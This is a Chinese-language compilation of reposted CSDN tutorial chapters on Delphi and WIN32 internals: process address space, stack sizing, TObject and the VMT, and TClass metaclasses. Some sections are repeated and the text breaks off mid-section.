我第一次理解计算机的基本原理，与我拆过的音乐盒有关。那是在念高中时的一本漫画书上，一位白胡子老头在讲解智能机的理论，一位留八字胡的叔叔在说计算机和音乐盒。他们说，计算机的中央处理器就是音乐盒中用来发音的那一排音乐簧片，计算机程序就是音乐盒中那个小圆筒上密布的凸点，小圆筒的转动相当于中央处理器的指令指针的自然移动，而小圆筒上代表音乐的凸点控制音乐簧片振动发音相当于中央处理器执行程序的指令。音乐盒发出美妙的旋律，是按工匠早已刻在小圆筒上的音乐谱演奏的，计算机完成复杂的处理，是根据程序员预先编制好的程序实现的。上大学之后，我才知道那个白胡子老头就是科学巨匠图灵，他的有限自动机理论推动了整个信息革命的发展，而那个留八字胡的叔叔就是计算机之父冯.诺依曼，冯氏计算机体系结构至今仍然是计算机的主要体系机构。音乐盒没白拆，母亲可以宽心。
有深入浅出的理解，才能有高深而又简洁的创造。
这一章我们将讨论Windows的32位操作系统中与我们编程有关的基本概念，建立WIN32中正确的时空观。希望阅读完本章之后，我们能更加深入地理解程序、进程和线程，理解执行文件、动态连接库和运行包的原理，看清全局数据、局部数据和参数在内存中的真相。

第一节 理解进程
由于历史的原因，Windows是起源于DOS。而在DOS时代，我们一直只有程序的概念，而没有进程的概念。那时侯，只有操作系统的正规军，如UNIX和VMS等等，才有进程的概念，而且多进程就意味着小型机、终端和多用户，也意味着金钱。我绝大多数的时间只能使用相对廉价的微机和DOS系统，只是在学操作系统这门课程时才开始接触进程和小型机。
在Windows 3.X之后，Microsoft才在图形界面的操作系统站住脚跟，而我也是在这时开始正式面对多任务和进程的概念。以前在DOS下，同一时间只能执行一个程序，而在Windows下同一时间可执行多个程序，这就是多任务。在DOS下运行一个程序的同时，不能执行相同的程序，而在Windows下，同一程序可以同时有两个以上的副本在运行，每一个运行的程序副本就是一个进程。更确切地说，任何程序的一次运行就产生一个任务，而每个任务就是一个进程。
当将程序和进程放到一起理解时，可以认为程序一词说的是静态的东西，一个典型的程序是由一个EXE文件或一个EXE文件加上若干DLL文件组成的静态代码和数据。而进程是程序的一次运行，是在内存中动态运行的代码和动态变化的数据。当静态的程序要求运行时，操作系统将为本次运行提供一定的内存空间，把静态的程序代码和数据调入这些内存空间，将程序的代码和数据进行重定位映射之后，就在该空间内执行程序，这样就产生了动态的进程。
同一个程序同时运行着的两个副本，意味着在系统内存中有两个进程空间，只不过它们的程序功能是一样的，但处于不同的动态变化的状态之中。
从进程运行的时间上来说，各进程是同时执行的，专业术语称为并行执行或并发执行。但这主要是操作系统给我们的表面感觉，实际上各进程是分时执行的，也就是各进程轮流占用CPU的时间来执行进程的程序指令。对于一个CPU来说，同一时间只有一个进程的指令在执行。操作系统是调度进程运行的幕后操纵者，它不断保存和切换各进程在CPU中执行的当前状态，使得每一个被调度的进程都认为自己是完整和连续地运行着。由于进程分时调度的速度非常快，所以给我们的感觉就是进程都是同时运行的。其实，真正意义上的同时运行只有在多CPU的硬件环境中才有。稍后在讲述线程一节时，我们将发现，真正推动进程运转的是线程，进程更重要的是提供了进程空间。
从进程占据的空间上来说，各进程空间是相对独立的，每一个进程在自己独立的空间中运行。一个程序既包括代码空间又包括数据空间，代码和数据都要占据进程空间。Windows为每一进程所需的数据空间分配实际的内存，而对代码空间一般都采用共享手段，将一个程序的一份代码映射给该程序的多个进程。这意味着，如果一个程序有100K的代码并需要100K的数据空间，也就是总共需要200K的进程空间，则第一次运行程序时操作系统将分配200K的进程空间，而运行程序的第二个进程时，操作系统只分配100K的数据空间，而代码空间则共享前一个进程的空间。
上面所说的是Windows操作系统中进程的基本时空观，其实Windows的16位和32位操作系统在进程的时空观上有很大的差异。
从时间上来说，16位的Windows操作系统，如Windows 3.x等，进程管理是非常简单的，它实际上只是一个多任务管理操作系统。而且，操作系统对任务的调度是被动的，如果一个任务不自己放弃对消息的处理，操作系统就必须等待。由于16位Windows系统在管理进程方面的缺陷，一个进程运行时，完全占有着CPU的资源。在那个年代，为了16位Windows可以有机会调度别的任务，微软公司大力赞扬开发Windows应用程序的开发者是心胸宽阔的程序员，以使得他们乐意多编写几行恩赐给操作系统的代码。相反，WIN32的操作系统，如Windows 95和NT等，才是具备了真正的多进程和多任务操作系统的能力。WIN32中的进程完全由操作系统调度，一旦进程运行的时间片结束，不管进程是否还在处理数据，操作系统将主动切换到下一进程。严格地说，16位的Windows操作系统不能算是完整的操作系统，而32位的WIN32操作系统才是真正意义上的操作系统。当然，微软公司不会说WIN32弥补了16位Windows的缺陷，而是宣称WIN32实现了一种称为“抢占式多任务”的先进技术，这是商业手段。
从空间上看，16位的Windows操作系统中的进程空间虽然相对独立，但进程之间可已很容易地互相访问对方的数据空间。因为，这些进程实际是在相同的物理空间中的不同的数据段而已，而且不当的地址操作很容易造成错误的空间读写，并使操作系统崩溃。然而，在WIN32操作系统中，各进程空间完全是独立的。WIN32为每一个进程提供一个可达4G的虚拟的，并且是连续的地址空间。所谓连续的地址空间，是指每一个进程都拥有从$00000000到$FFFFFFFF的地址空间，而不是向16位Windows的分段式空间。在WIN32中，你完全不必担心自己的读写操作会无意地影响到其他进程空间中的数据，也不用担心别的进程会来骚扰你的工作。同时，WIN32为你的进程提供的连续的4G虚拟空间，是操作系统在硬件的支持下将物理内存映射给你的，你虽然拥有如此广阔的虚拟空间，但系统决不会浪费一个字节的物理内存。

第二节 进程空间
在我们用DELPHI编写WIN32的应用程序时，很少去关心进程在运行时的内部世界。因为WIN32为我们的进程提供了4G的连续虚拟进程空间，可能目前世界上最庞大的应用程序也只用到了其中的部分空间。似乎进程空间是无限的，但4G的进程空间是虚拟的，而你机器的实际内存可能与此相差甚远。虽然，进程拥有如此广阔的空间，但有些复杂算法的程序还是会因为堆栈溢出而无法运行，特别是含有大量递归算法的程序。
因此，深入地认识和了解这4G的进程空间的结构，以及它与物理内存的关系等等，将有助于我们更清楚地认识WIN32的时空世界，从而可在实际的开发工作中运用正确的世界观和方法论解决各种难题。
下面，我们将通过简单的实验，来了解WIN32的进程空间的内部世界。这可能需要一些对CUP寄存器和汇编语言的知识，但我尽量用简单的语言来说明。
当启动DELPHI时，将自动产生一个Project1的项目，我们就拿它开刀。在Project1.dpr原程序的任意位置设一断点，比如，就在begin一句处设一断点。然后运行程序，当程序运行到断点时会自动停下来。这时，我们就可以打开调试工具中的CPU窗口来观察进程空间的内部结构了。
当前的指令指针寄存器EIP是停在$0043E4B8，从程序指令所在地址的最高两位16进制数都是零，可以看出当前的程序处在4G进程空间相当底端的地址位置，其占据$00000000到$FFFFFFFF的相当少的地址空间。
在CPU窗口中的指令框中，你可以向上查看进程空间中的内容。当查看小于$00400000的空间内容时，你会发现小于$00400000的内容出现一串串的问号“????”，那是因为该地址空间还未映射到实际物理空间的缘故。如果在这时，你查看一下全局变量HInstance的16进制值就会发现它也是$00400000。虽然HInstance反映的是进程实例的句柄，其实，它就是程序被加载到内存中的起始地址值，在16位Windows中也是如此。因此，我们可以认为进程的程序是从$00400000开始加载的，也就是从4G虚拟空间中的4M以后的空间开始是程序加载的空间。
从$00400000往后，到$0044D000之前，主要是程序代码和全局数据的地址空间。在CPU窗口中的堆栈框中，可以查看到当前堆栈的地址。同样，你会发现当前堆栈的地址空间是从$0067B000到$00680000的，长度为$5000。其实，进程最小的堆栈空间大小就是$5000，它是根据编译DELPHI程序时在Project\Options中Linker页中设置的Min stack size值，加上$1000而得到的。堆栈是由高端地址向底端增长的，当程序运行的堆栈不够时，系统将自动向地端地址方向增加堆栈空间的大小，这一过程将把更多的实际内存映射到进程空间。可在编译DELPHI程序时，通过设置Project\Options中Linker页中Max stack size的值，控制可增加的最大堆栈空间。特别是在含有深层次的子程序调用关系或运用递归算法的程序中，一定要合理地设置Max stack size的值。因为，调用子程序是需要耗用堆栈空间，而堆栈耗尽之后，系统就会抛出“Stack overflow”的错误。
似乎，从堆栈空间之后的进程空间就应该是自由的空间了吧。其实不然，WIN32的有关资料说，$80000000之后的2G空间是系统使用的空间。看来，进程能够真正拥有的只有2G空间。其实，进程能真正拥有的空间连2G都不够，因为从$00000000到$00400000的这4M空间也是禁区。
但不管怎样，我们的进程可以使用的地址还是非常广阔的。特别是堆栈空间之后到$80000000之间，是进程空间的主战场。进程从系统分配的内存空间将被映射到这块空间，进程加载的动态连接库将被映射到这块空间，新建线程的线程堆栈空间也将映射到这块空间，几乎所有涉及分配内存的操作都将映射到这块空间。请注意，这里所说的映射，意味着实际内存与这块虚拟空间的对应，没有映射为实际内存的进程空间是无法使用的，就象调试时CPU窗口指令框中的那一串串的“????”。
................

谢谢阅读！


CSDN_文档中心_DELPHI的原子世界

转贴自：http://www.csdn.net/expert/topic/108/108956.shtm；

http://www.csdn.net/expert/topic/109/109010.shtm

DELPHI的原子世界

关键词：Delphi控件杂项

在使用DELPHI开发软件的过程中，我们就像草原上一群快乐牛羊，无忧无虑地享受着Object Pascal语言为我们带来的阳光和各种VCL控件提供的丰富的水草。抬头望望无边无际蔚蓝的天空，低头品尝大地上茂密的青草，谁会去想宇宙有多大，比分子和原子更小的东西是什么？那是哲学家的事。而哲学家此时正坐在高高的山顶上，仰望宇宙星云变换，凝视地上小虫的爬行，蓦然回头，对我们这群吃草的牛羊点头微笑。随手扯起一根小草，轻轻地含在嘴里，闭上眼睛细细品尝，不知道这根青草在哲学家的嘴里是什么味道？只是，他的脸上一直带着满意的微笑。
认识和了解DELPHI微观的原子世界，可以使我们彻底理解DELPHI的宏观应用程序结构，从而在更广阔的思想空间中开发我们的软件。这就好像，牛顿发现了宏观物体的运动，却因为搞不清物体为什么会这样运动而苦恼，相反，爱因斯坦却在基本粒子规律和宏观物体运动之间体验着相对论的快乐生活！

第一节 TObject原子
TObject是什么？
是Object Pascal语言体系结构的基本核心，也是各种VCL控件的起源。我们可以认为，TObject是构成DELPHI应用程序的原子之一，当然，他们又是由基本Pascal语法元素等更细微的粒子构成。
说TObject是DELPHI程序的原子，是因为TObject是DELPHI编译器内部支持的。所有的对象类都是从TObject派生的，即使你并未指定TObject为祖先类。TObject被定义在System单元，它是系统的一部分。在System.pas单元的开头，有这样的注释文本：
{ Predefined constants, types, procedures, }
{ and functions (such as True, Integer, or }
{ Writeln) do not have actual declarations.}
{ Instead they are built into the compiler }
{ and are treated as if they were declared }
{ at the beginning of the System unit. }
它的意思说，这一单元包含预定义的常量、类型、过程和函数（诸如：Ture、Integer或Writeln），它们并没有实际的声明，而是编译器内置的，并在编译的开始就被认为是已经声明的定义。你可以将Classes.pas或Windows.pas等其他源程序文件加入你的项目文件中进行编译和调试其源代码，但你绝对无法将System.pas源程序文件加入到你的项目文件中进行编译！DELPHI将报告重复定义System的编译错误！
因此，TObject是编译器内部提供的定义，对于我们使用DELPHI开发程序的人来说，TObject是原子性的东西。
TObject在System单元中的定义是这样的：
TObject = class
constructor Create;
procedure Free;
class function InitInstance(Instance: Pointer): TObject;
procedure CleanupInstance;
function ClassType: TClass;
class function ClassName: ShortString;
class function ClassNameIs(const Name: string): Boolean;
class function ClassParent: TClass;
class function ClassInfo: Pointer;
class function InstanceSize: Longint;
class function InheritsFrom(AClass: TClass): Boolean;
class function MethodAddress(const Name: ShortString): Pointer;
class function MethodName(Address: Pointer): ShortString;
function FieldAddress(const Name: ShortString): Pointer;
function GetInterface(const IID: TGUID; out Obj): Boolean;
class function GetInterfaceEntry(const IID: TGUID): PInterfaceEntry;
class function GetInterfaceTable: PInterfaceTable;
function SafeCallException(ExceptObject: TObject;
ExceptAddr: Pointer): HResult; virtual;
procedure AfterConstruction; virtual;
procedure BeforeDestruction; virtual;
procedure Dispatch(var Message); virtual;
procedure DefaultHandler(var Message); virtual;
class function NewInstance: TObject; virtual;
procedure FreeInstance; virtual;
destructor Destroy; virtual;
end;

下面，我们将逐步敲开TObject原子的大门，看看里面到底是什么结构。

我们知道，TObject是所有对象的基本类，那么，一个对象到底是什么？
DELPHI中的任何对象都是一个指针，这个指针指明该对象在内存中所占据的一块空间！虽然，对象是一个指针，可是我们引用对象的成员时却不用写成这样的代码MyObject^.GetName，而只能写成MyObject.GetName，这是Object Pascal语言扩充的语法，是由编译器支持的。使用C++ Builder的朋友就很清楚对象与指针的关系，因为在C++ Builder的对象都要定义为指针。对象指针指向的地方就是对象存储数据的对象空间，我们来分析一下对象指针指向的内存空间的数据结构。
对象空间的头4个字节是指向该对象类的虚方法地址表（VMT – Vritual Method Table）。接下来的空间就是存储对象本身成员数据的空间，并按从该对象最原始祖先类的数据成员到该对象类的数据成员的总顺序，和每一级类中数据成员的定义顺序存储。
类的虚方法地址表（VMT）保存从该类的原始祖先类派生到该类的所有类的虚方法的过程地址。类的虚方法，就是用保留字vritual声明的方法，虚方法是实现对象多态性的基本机制。虽然，用保留字dynamic声明的动态方法也可实现对象的多态性，但这样的方法不保存在虚方法地址表（VMT）中，它只是Object Pascal提供的另一种可节约类存储空间的多态实现机制，但却是以牺牲调用速度为代价的。
即使，我们自己并未定义任何类的虚方法，但该类的对象仍然存在指向虚方法地址表的指针，只是地址项的长度为零。可是，在TObject中定义的那些虚方法，如Destroy、FreeInstance等等，又存储在什么地方呢？原来，他们的方法地址存储在相对VMT指针负方向偏移的空间中。其实，在VMT表的负方向偏移76个字节的数据空间是对象类的系统数据结构，这些数据结构是与编译器相关的，并且在将来的DELPHI版本中有可能被改变。
因此，你可以认为，VMT是一个从负偏移地址空间开始的数据结构，负偏移数据区是VMT的系统数据区，VMT的正偏移数据是用户数据区（自定义的虚方法地址表）。TObject中定义的有关类信息或对象运行时刻信息的函数和过程，一般都与VMT的系统数据有关。
一个VMT数据就代表一个类，其实VMT就是类！在Object Pascal中我们用TObject、TComponent等等标识符表示类，它们在DELPHI的内部实现为各自的VMT数据。而用class of保留字定义的类的类型，实际就是指向相关VMT数据的指针。
对我们的应用程序来说，VMT数据是静态的数据，当编译器编译完成我们的应用程序之后，这些数据信息已经确定并已初始化。我们编写的程序语句可访问VMT相关的信息，获得诸如对象的尺寸、类名或运行时刻的属性资料等等信息，或者调用虚方法或读取方法的名称与地址等等操作。
当一个对象产生时，系统会为该对象分配一块内存空间，并将该对象与相关的类联系起来，于是，在为对象分配的数据空间中的头4个字节，就成为指向类VMT数据的指针。
我们再来看看对象是怎样诞生和灭亡的。看着我三岁的儿子在草地上活蹦乱跳，正是由于亲眼目睹过生命的诞生过程，我才能真真体会到生命的意义和伟大。也只有那些经历过死别的人，才会更加理解和珍惜生命。那么，就让我们理解一下对象的产生和消亡的过程吧！
我们都知道，用下面的语句可以构造一个最简单对象：
AnObject := TObject.Create;
编译器将其编译实现为：
用TObject对应的VMT为依据，调用TObject的Create构造函数。而在Create构造函数调用了系统的ClassCreate过程，系统的ClassCreate过程又通过存储在类VMT调用NewInstance虚方法。调用NewInstance方法的目的是要建立对象的实例空间，因为我们没有重载该方法，所以，它就是TObject类的NewInstance。TObjec类的NewInstance方法将根据编译器在VMT表中初始化的对象实例尺寸（InstanceSize），调用GetMem过程为该对象分配内存，然后调用InitInstance方法将分配的空间初始化。InitInstance方法首先将对象空间的头4个字节初始化为指向对象类对应VMT的指针，然后将其余的空间清零。建立对象实例之后，还调用了一个虚方法AfterConstruction。最后，将对象实例数据的地址指针保存到AnObject变量中，这样，AnObject对象就诞生了。
同样，用下面的语句可以消灭一个对象：
AnObject.Destroy;
TObject的析构函数Destroy被声明为虚方法，它也是系统固有的虚方法之一。Destory方法首先调用了BeforeDestruction虚方法，然后调用系统的ClassDestroy过程。ClassDestory过程又通过类VMT调用FreeInstance虚方法，由FreeInstance方法调用FreeMem过程释放对象的内存空间。就这样，一个对象就在系统中消失。
对象的析构过程比对象的构造过程简单，就好像生命的诞生是一个漫长的孕育过程，而死亡却相对的短暂，这似乎是一种必然的规律。
在对象的构造和析构过程中，调用了NewInstance和FreeInstance两个虚函数，来创建和释放对象实例的内存空间。之所以将这两个函数声明为虚函数，是为了能让用户在编写需要用户自己管理内存的特殊对象类时（如在一些特殊的工业控制程序中），有扩展的空间。
而将AfterConstruction和BeforeDestruction声明为虚函数，也是为了将来派生的类在产生对象之后，有机会让新诞生的对象呼吸第一口新鲜空气，而在对象消亡之前可以允许对象完成善后事宜，这都是合情合理的事。其实，TForm对象和TDataModule对象的OnCreate事件和OnDestroy事件，就是在TForm和TDataModule重载的这两个虚函数过程分别触发的。
此外，TObjec还提供了一个Free方法，它不是虚方法，它是为了那些搞不清对象是否为空（nil）的情况下能安全释放对象而专门提供的。其实，搞不清对象是否为空，本身就有程序逻辑不清晰的问题。不过，任何人都不是完美的，都可能犯错，使用Free能避免偶然的错误也是件好事。然而，编写正确的程序不能一味依靠这样的解决方法，还是应该以保证程序的逻辑正确性为编程的第一目标！
有兴趣的朋友可以读一读System单元的原代码，其中，大量的代码是用汇编语言书写的。细心的朋友可以发现，TObject的构造函数Create和析构函数Destory竟然没有写任何代码，其实，在调试状态下通过Debug的CPU窗口，可清楚地反映出Create和Destory的汇编代码。因为，缔造DELPHI的大师门不想将过多复杂的东西提供给用户，他们希望用户在简单的概念上编写应用程序，将复杂的工作隐藏在系统的内部由他们承担。所以，在发布System.pas单元时特别将这两个函数的代码去掉，让用户认为TObject是万物之源，用户派生的类完全从虚无中开始，这本身并没有错。虽然，阅读DELPHI的这些最本质的代码需要少量的汇编语言知识，但阅读这样的代码，可以让我们更深刻认识DELPHI世界的起源和发展的基本规律。即使看不太懂，能起码了解一些基本东西，对我们编写DELPHI程序也是大有帮助。

第二节 TClass原子
在System.pas单元中，TClass是这样定义的：
TClass = class of TObject;
它的意思是说，TClass是TObject的类。因为TObject本身就是一个类，所以TClass就是所谓的类的类。
从概念上说，TClass是类的类型，即，类之类。但是，我们知道DELPHI的一个类，代表着一项VMT数据。因此，类之类可以认为是为VMT数据项定义的类型，其实，它就是一个指向VMT数据的指针类型！
在以前传统的C++语言中，是不能定义类的类型的。对象一旦编译就固定下来，类的结构信息已经转化为绝对的机器代码，在内存中将不存在完整的类信息。一些较高级的面向对象语言才可支持对类信息的动态访问和调用，但往往需要一套复杂的内部解释机制和较多的系统资源。而DELPHI的Object Pascal语言吸收了一些高级面向对象语言的优秀特征，又保留可将程序直接编译成机器代码的传统优点，比较完美地解决了高级功能与程序效率的问题。
正是由于DELPHI在应用程序中保留了完整的类信息，才能提供诸如as和is等在运行时刻转换和判别类的高级面向对象功能，而类的VMT数据在其中起了关键性的核心作用。有兴趣的朋友可以读一读System单元的AsClass和IsClass两个汇编过程，他们是as和is操作符的实现代码，以加深对类和VMT数据的理解。

DELPHI的原子世界(2)

关键词：Delphi控件杂项

第二节 TClass原子
在System.pas单元中，TClass是这样定义的：
TClass = class of TObject;
它的意思是说，TClass是TObject的类。因为TObject本身就是一个类，所以TClass就是所谓的类的类。
从概念上说，TClass是类的类型，即，类之类。但是，我们知道DELPHI的一个类，代表着一项VMT数据。因此，类之类可以认为是为VMT数据项定义的类型，其实，它就是一个指向VMT数据的指针类型！
在以前传统的C++语言中，是不能定义类的类型的。对象一旦编译就固定下来，类的结构信息已经转化为绝对的机器代码，在内存中将不存在完整的类信息。一些较高级的面向对象语言才可支持对类信息的动态访问和调用，但往往需要一套复杂的内部解释机制和较多的系统资源。而DELPHI的Object Pascal语言吸收了一些高级面向对象语言的优秀特征，又保留可将程序直接编译成机器代码的传统优点，比较完美地解决了高级功能与程序效率的问题。
正是由于DELPHI在应用程序中保留了完整的类信息，才能提供诸如as和is等在运行时刻转换和判别类的高级面向对象功能，而类的VMT数据在其中起了关键性的核心作用。有兴趣的朋友可以读一读System单元的AsClass和IsClass两个汇编过程，他们是as和is操作符的实现代码，以加深对类和VMT数据的理解。
有了`类的类型，就可以将类作为变量来使用。可以将类的变量理解为一种特殊的对象，你可以象访问对象那样访问类变量的方法。例如：我们来看看下面的程序片段：
type
TSampleClass = class of TSampleObject;
TSampleObject = class( TObject )
public
constructor Create;
destructor Destroy; override;
class function GetSampleObjectCount:Integer;
procedure GetObjectIndex:Integer;
end;

var
aSampleClass : TSampleClass;
aClass : TClass;

在这段代码中，我们定义了一个类TSampleObject及其相关的类类型TSampleClass，还包括两个类变量aSampleClass和aClass。此外，我们还为TSampleObject类定义了构造函数、析构函数、一个类方法GetSampleObjectCount和一个对象方法GetObjectIndex。
首先，我们来理解一下类变量aSampleClass和aClass的含义。
显然，你可以将TSampleObject和TObject当作常量值，并可将它们赋值给aClass变量，就好象将123常量值赋值给整数变量i一样。所以，类类型、类和类变量的关系就是类型、常量和变量的关系，只不过是在类的这个层次上而不是对象层次上的关系。当然，直接将TObject赋值给aSampleClass是不合法的，因为aSampleClass是TObject派生类TSampleObject的类变量，而TObject并不包含与TSampleClass类型兼容的所有定义。相反，将TSampleObject赋值给aClass变量却是合法的，因为TSampleObject是TObject的派生类，是和TClass类型兼容的。这与对象变量的赋值和类型匹配关系完全相似。
然后，我们再来看看什么是类方法。
所谓类方法，就是指在类的层次上调用的方法，如上面所定义的GetSampleObjectCount方法,它是用保留字class声明的方法。类方法是不同于在对象层次上调用的对象方法的，对象方法已经为我们所熟悉，而类方法总是在访问和控制所有类对象的共同特性和集中管理对象这一个层次上使用的。在TObject的定义中，我们可以发现大量的类方法，如ClassName、ClassInfo和NewInstance等等。其中，NewInstance还被定义为virtual的，即虚的类方法。这意味作你可以在派生的子类中重新编写NewInstance的实现方法，以便用特殊的方式构造该类的对象实例。
在类方法中你也可使用self这一标识符，不过其所代表的含义与对象方法中的self是不同的。类方法中的self表示的是自身的类，即指向VMT的指针，而对象方法中的self表示的是对象本身，即指向对象数据空间的指针。虽然，类方法只能在类层次上使用，但你仍可通过一个对象去调用类方法。例如，可以通过语句aObject.ClassName调用对象TObject的类方法ClassName，因为对象指针所指向的对象数据空间中的头4个字节又是指向类VMT的指针。相反，你不可能在类层次上调用对象方法，象TObject.Free的语句一定是非法的。
值得注意的是，构造函数是类方法，而析构函数是对象方法！
什么？构造函数是类方法，析构函数是对象方法！有没有搞错？
你看看，当你创建对象时分明使用的是类似于下面的语句：
aObject := TObject.Create;
分明是调用类TObject的Create方法。而删除对象时却用的下面的语句：
aObject.Destroy;
即使使用Free方法释放对象，也是间接调用了对象的Destroy方法。
原因很简单，在构造对象之前，对象还不存在，只存在类，创建对象只能用类方法。相反，删除对象一定是删除已经存在的对象，是对象被释放，而不是类被释放。
最后，顺便讨论一下虚构造函数的问题。
在传统的C++语言中，可以实现虚析构函数，但实现虚构造函数却是一个难题。因为，在传统的C++语言中，没有类的类型。全局对象的实例是在编译时就存在于全局数据空间中，函数的局部对象也是编译时就在堆栈空间中映射的实例，即使是动态创建的对象，也是用new操作符按固定的类结构在堆空间中分配的实例，而构造函数只是一个对已产生的对象实例进行初始化的对象方法而已。传统C++语言没有真正的类方法，即使可以定义所谓静态的基于类的方法，其最终也被实现为一种特殊的全局函数，更不用说虚拟的类方法，虚方法只能针对具体的对象实例有效。因此，传统的C++语言认为，在具体的对象实例产生之前，却要根据即将产生的对象构造对象本身，这是不可能的。的确不可能，因为这会在逻辑上产生自相矛盾的悖论！
然而，正是由于在DELPHI中有动态的类的类型信息，有真正虚拟的类方法，以及构造函数是基于类实现的等等这些关键概念，才可实现虚拟的构造函数。对象是由类产生的，对象就好象成长中的婴儿，而类就是它的母亲，婴儿自己的确不知道自己将来会成为什么样的人，可是母亲们却用各自的教育方法培养出不同的人，道理是相通的。
正是在TComponent类的定义中，构造函数Create被定义为虚拟的，才能使不同类型的控件实现各自的构造方法。这就是TClass创造的类之类概念的伟大，也是DELPHI的伟大。

......................................

第三章 WIN32的时空观
我的老父亲看着地上玩玩具的小孙子，然后对我说：“这孩子和小时的你一样，喜欢把东西拆开，看过究竟才罢手”。想想我小时侯，经常将玩具车、小闹钟、音乐盒，等等，拆得一塌糊涂，常常被母亲训斥。
我第一次理解计算机的基本原理，与我拆过的音乐盒有关。那是在念高中时的一本漫画书上，一位白胡子老头在讲解智能机的理论，一位留八字胡的叔叔在说计算机和音乐盒。他们说，计算机的中央处理器就是音乐盒中用来发音的那一排音乐簧片，计算机程序就是音乐盒中那个小圆筒上密布的凸点，小圆筒的转动相当于中央处理器的指令指针的自然移动，而小圆筒上代表音乐的凸点控制音乐簧片振动发音相当于中央处理器执行程序的指令。音乐盒发出美妙的旋律，是按工匠早已刻在小圆筒上的音乐谱演奏的，计算机完成复杂的处理，是根据程序员预先编制好的程序实现的。上大学之后，我才知道那个白胡子老头就是科学巨匠图灵，他的有限自动机理论推动了整个信息革命的发展，而那个留八字胡的叔叔就是计算机之父冯.诺依曼，冯氏计算机体系结构至今仍然是计算机的主要体系机构。音乐盒没白拆，母亲可以宽心。
有深入浅出的理解，才能有高深而又简洁的创造。
这一章我们将讨论Windows的32位操作系统中与我们编程有关的基本概念，建立WIN32中正确的时空观。希望阅读完本章之后，我们能更加深入地理解程序、进程和线程，理解执行文件、动态连接库和运行包的原理，看清全局数据、局部数据和参数在内存中的真相。

第一节 理解进程
由于历史的原因，Windows是起源于DOS。而在DOS时代，我们一直只有程序的概念，而没有进程的概念。那时侯，只有操作系统的正规军，如UNIX和VMS等等，才有进程的概念，而且多进程就意味着小型机、终端和多用户，也意味着金钱。我绝大多数的时间只能使用相对廉价的微机和DOS系统，只是在学操作系统这门课程时才开始接触进程和小型机。
在Windows 3.X之后，Microsoft才在图形界面的操作系统站住脚跟，而我也是在这时开始正式面对多任务和进程的概念。以前在DOS下，同一时间只能执行一个程序，而在Windows下同一时间可执行多个程序，这就是多任务。在DOS下运行一个程序的同时，不能执行相同的程序，而在Windows下，同一程序可以同时有两个以上的副本在运行，每一个运行的程序副本就是一个进程。更确切地说，任何程序的一次运行就产生一个任务，而每个任务就是一个进程。
当将程序和进程放到一起理解时，可以认为程序一词说的是静态的东西，一个典型的程序是由一个EXE文件或一个EXE文件加上若干DLL文件组成的静态代码和数据。而进程是程序的一次运行，是在内存中动态运行的代码和动态变化的数据。当静态的程序要求运行时，操作系统将为本次运行提供一定的内存空间，把静态的程序代码和数据调入这些内存空间，将程序的代码和数据进行重定位映射之后，就在该空间内执行程序，这样就产生了动态的进程。
同一个程序同时运行着的两个副本，意味着在系统内存中有两个进程空间，只不过它们的程序功能是一样的，但处于不同的动态变化的状态之中。
从进程运行的时间上来说，各进程是同时执行的，专业术语称为并行执行或并发执行。但这主要是操作系统给我们的表面感觉，实际上各进程是分时执行的，也就是各进程轮流占用CPU的时间来执行进程的程序指令。对于一个CPU来说，同一时间只有一个进程的指令在执行。操作系统是调度进程运行的幕后操纵者，它不断保存和切换各进程在CPU中执行的当前状态，使得每一个被调度的进程都认为自己是完整和连续地运行着。由于进程分时调度的速度非常快，所以给我们的感觉就是进程都是同时运行的。其实，真正意义上的同时运行只有在多CPU的硬件环境中才有。稍后在讲述线程一节时，我们将发现，真正推动进程运转的是线程，进程更重要的是提供了进程空间。
从进程占据的空间上来说，各进程空间是相对独立的，每一个进程在自己独立的空间中运行。一个程序既包括代码空间又包括数据空间，代码和数据都要占据进程空间。Windows为每一进程所需的数据空间分配实际的内存，而对代码空间一般都采用共享手段，将一个程序的一份代码映射给该程序的多个进程。这意味着，如果一个程序有100K的代码并需要100K的数据空间，也就是总共需要200K的进程空间，则第一次运行程序时操作系统将分配200K的进程空间，而运行程序的第二个进程时，操作系统只分配100K的数据空间，而代码空间则共享前一个进程的空间。
上面所说的是Windows操作系统中进程的基本时空观，其实Windows的16位和32位操作系统在进程的时空观上有很大的差异。
从时间上来说，16位的Windows操作系统，如Windows 3.x等，进程管理是非常简单的，它实际上只是一个多任务管理操作系统。而且，操作系统对任务的调度是被动的，如果一个任务不自己放弃对消息的处理，操作系统就必须等待。由于16位Windows系统在管理进程方面的缺陷，一个进程运行时，完全占有着CPU的资源。在那个年代，为了16位Windows可以有机会调度别的任务，微软公司大力赞扬开发Windows应用程序的开发者是心胸宽阔的程序员，以使得他们乐意多编写几行恩赐给操作系统的代码。相反，WIN32的操作系统，如Windows 95和NT等，才是具备了真正的多进程和多任务操作系统的能力。WIN32中的进程完全由操作系统调度，一旦进程运行的时间片结束，不管进程是否还在处理数据，操作系统将主动切换到下一进程。严格地说，16位的Windows操作系统不能算是完整的操作系统，而32位的WIN32操作系统才是真正意义上的操作系统。当然，微软公司不会说WIN32弥补了16位Windows的缺陷，而是宣称WIN32实现了一种称为“抢占式多任务”的先进技术，这是商业手段。
从空间上看，16位的Windows操作系统中的进程空间虽然相对独立，但进程之间可已很容易地互相访问对方的数据空间。因为，这些进程实际是在相同的物理空间中的不同的数据段而已，而且不当的地址操作很容易造成错误的空间读写，并使操作系统崩溃。然而，在WIN32操作系统中，各进程空间完全是独立的。WIN32为每一个进程提供一个可达4G的虚拟的，并且是连续的地址空间。所谓连续的地址空间，是指每一个进程都拥有从$00000000到$FFFFFFFF的地址空间，而不是向16位Windows的分段式空间。在WIN32中，你完全不必担心自己的读写操作会无意地影响到其他进程空间中的数据，也不用担心别的进程会来骚扰你的工作。同时，WIN32为你的进程提供的连续的4G虚拟空间，是操作系统在硬件的支持下将物理内存映射给你的，你虽然拥有如此广阔的虚拟空间，但系统决不会浪费一个字节的物理内存。

第二节 进程空间
在我们用DELPHI编写WIN32的应用程序时，很少去关心进程在运行时的内部世界。因为WIN32为我们的进程提供了4G的连续虚拟进程空间，可能目前世界上最庞大的应用程序也只用到了其中的部分空间。似乎进程空间是无限的，但4G的进程空间是虚拟的，而你机器的实际内存可能与此相差甚远。虽然，进程拥有如此广阔的空间，但有些复杂算法的程序还是会因为堆栈溢出而无法运行，特别是含有大量递归算法的程序。
因此，深入地认识和了解这4G的进程空间的结构，以及它与物理内存的关系等等，将有助于我们更清楚地认识WIN32的时空世界，从而可在实际的开发工作中运用正确的世界观和方法论解决各种难题。
下面，我们将通过简单的实验，来了解WIN32的进程空间的内部世界。这可能需要一些对CUP寄存器和汇编语言的知识，但我尽量用简单的语言来说明。
